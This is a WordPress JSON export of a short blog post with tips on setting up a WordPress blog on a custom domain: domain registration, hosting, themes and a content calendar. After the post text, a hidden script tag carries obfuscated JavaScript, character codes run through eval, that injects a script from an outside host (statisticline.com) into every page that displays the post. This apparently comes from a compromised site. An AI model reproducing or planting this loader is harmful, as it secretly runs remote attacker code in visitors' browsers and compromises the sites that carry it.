{"id":6218,"date":"2023-06-09T10:55:19","date_gmt":"2023-06-09T10:55:19","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/how-to-setup-and-run-a-wordpress-blog-on-a-custom-domain\/"},"modified":"2023-06-09T10:55:19","modified_gmt":"2023-06-09T10:55:19","slug":"how-to-setup-and-run-a-wordpress-blog-on-a-custom-domain","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/how-to-setup-and-run-a-wordpress-blog-on-a-custom-domain\/","title":{"rendered":"How To Setup and Run a WordPress Blog on a Custom Domain"},"content":{"rendered":"<div><strong>\u00a0<\/strong><\/div>\n<div><\/div>\n<div><strong>Register a domain name<\/strong><\/div>\n<div>Try to get a .com if possible. Try 123 Reg for available domain names.<\/div>\n<div><\/div>\n<div><strong>Get Matching Social Media Usernames<\/strong><\/div>\n<div>Also make sure the Twitter username and the Facebook page username of the same name are both free.<\/div>\n<div><\/div>\n<div><strong>Buy Hosting<\/strong><\/div>\n<div>Once you&#8217;ve bought a domain, you&#8217;ll need hosting for the site. 123 Reg can do this for you or my favourite provider is 5 Quid Host. Pick on that will automatically install WordPress for you (both 123 Reg and 5 Quid Host do this).<\/div>\n<div><\/div>\n<div><strong>Install A Theme Template<\/strong><\/div>\n<div>Have a look at Woo\u00a0Themes\u00a0and\u00a0Elegant\u00a0Themes\u00a0and pick a\u00a0theme\u00a0that you like. Then buy it and add it to the WordPress site.<\/div>\n<div><\/div>\n<div><strong>Customise The Theme<\/strong><\/div>\n<div><\/div>\n<div><\/div>\n<div>\n<div><strong>Create a Blog Schedule<\/strong><\/div>\n<div>Create a spreadsheet and create a content calendar for the next 6 months. This can be very top line, but at least the name of the blog post or article you will publish, 3 times a week &#8211; so around 90 in all. This will help you figure out how much content you actually have available, what you&#8217;ll need to get, and if you actually have enough to last 6 months! You don&#8217;t want to get to the end of the first two months and run out of things to publish&#8230; visit\u00a0<a href=\"\/\/copyblogger.com\/&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener noopener\" class=\"broken_link\">copyblogger.com<\/a>\u00a0for more info.<\/div>\n<div><\/div>\n<div><strong>Connect Your Blog to Your Social Media Channels<\/strong><\/div>\n<div><\/div>\n<div><\/div>\n<div><strong>Connect Your RSS to an Email Service<\/strong><\/div>\n<div><\/div>\n<div><\/div>\n<div><strong>Offer an Email Subscribe Option<\/strong><\/div>\n<div><\/div>\n<\/div>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 Register a domain name Try to get a .com if possible. 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